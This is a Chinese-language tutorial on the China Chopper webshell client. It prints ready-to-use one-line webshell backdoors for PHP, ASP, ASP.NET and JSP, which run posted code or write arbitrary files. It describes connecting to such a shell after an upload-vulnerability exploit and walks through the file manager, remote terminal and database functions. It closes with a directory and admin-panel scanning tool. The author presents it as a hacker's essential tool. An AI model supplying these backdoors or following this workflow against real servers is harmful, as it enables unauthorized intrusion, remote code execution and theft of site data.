中國菜刀以其特色圖形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式連接的數據庫。最強悍的是軟件服務端只需要簡單的一行代碼.這絕對可以排入叉叉最喜歡的十大軟件排行榜。(Ps:在某些黑闊手中菜刀算得上是居家旅行,殺人越貨的必備神器),究竟中國菜刀怎么使用?下面是叉叉的一些使用方法和經驗總結
客戶端界面:
在服務端運行的代碼如下:
PHP: <?php @eval($_POST['pass']);?>
ASP: <%eval request(“pass”)%>
ASP.NET: <%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
JSP:<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
(注意: ASP.NET要單獨一個文件或此文件也是Jscript語言)
叉叉之前在上傳漏洞演示,利用burpsuite抓包改包上傳最后講到用菜刀連接,看看是怎么實現的:
在主視圖中右鍵/添加,在彈出的對話框中輸入服務端地址,連接的密碼(這個必須要),選擇正確的腳本類型和語言編碼,保存后即可使用文件管理,虛擬終端,數據庫管理三大塊功能。要是其它都沒錯誤,那么可能就是你把語言編碼選錯了.
1. 文件管理:緩存下載目錄,並支持離線查看緩存目錄,上傳下載修改文件
2. 虛擬終端:人性化的設計,操作方便;(輸入HELP查看更多用法)
3. 數據庫管理:圖形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式連接的數據庫。
(各種腳本條件下的數據庫連接方法請點擊數據庫管理界面左上角處的配置按鈕查看)
關於配置信息怎么填?
PHP腳本:
<T>類型</T> 類型可為MYSQL,MSSQL,ORACLE,INFOMIX中的一種
<H>主機地址<H> 主機地址可為機器名或IP地址,如localhost
< U>數據庫用戶</U> 連接數據庫的用戶名,如root
< P>數據庫密碼</P> 連接數據庫的密碼,如123455
ASP和ASP.NET腳本:
<T>類型</T> 類型只能填ADO
< C>ADO配置信息</C>
ADO連接各種數據庫的方式不一樣。如MSSQL的配置信息為
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
叉叉用本機的mysql來演示:
4.網站蜘蛛功能:織出一張網站的目錄結構。下載的列表文件存在桌面,右鍵菜單/載入URL列表即可以根據地址得到目錄結構。
5.定時提醒當鬧鍾來使吧, 周期:每月/每周/每日/只一次。
6.快速啟動
一些常用的快捷方式放在這里,可以指定用戶身份運行程序。這部分數據是以加密存儲的。
7.瀏覽器
地址欄輸入HELP
8.自定義服務端代碼
參考地址:http://www.2cto.com/Article/201307/229041.html
八.后台、目錄掃描工具
御劍1.5
打開工具,添加URL
雙擊添加目錄、后台字典文件,設置線程,HTTP響應回顯信息
開始掃描